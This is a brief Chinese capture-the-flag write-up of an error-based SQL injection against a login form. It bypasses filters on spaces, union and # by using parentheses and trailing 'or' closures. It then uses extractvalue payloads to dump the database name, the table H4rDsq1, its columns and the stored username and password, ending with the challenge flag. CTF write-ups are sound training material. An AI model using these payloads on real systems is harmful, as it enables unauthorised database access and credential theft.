一开始直接尝试弱密码发现不行
输入admin’报错
admin’'不报错证明双引号闭合于是构造union注入发现不行,被过滤了,双写绕不过,开始尝试报错注入
先看一下那些被过滤了
空格被过滤直接用()来进行代替
爆库
'or(extractvalue(1,concat(0x7e,(select(database())))))or'
由于#被过滤,这里用or’来进行闭合
爆出数据库geek。
接下来payload
'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))or'
'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))or'
'or(extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)))))or'
最终只显示出左半部分flag,这是因为extractvalue和updatexml只显示32位字符
'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))or'
爆出右半部分flag进行拼接
flag{a60f3310-0d64-4be9-a4fc-fc90962e4213}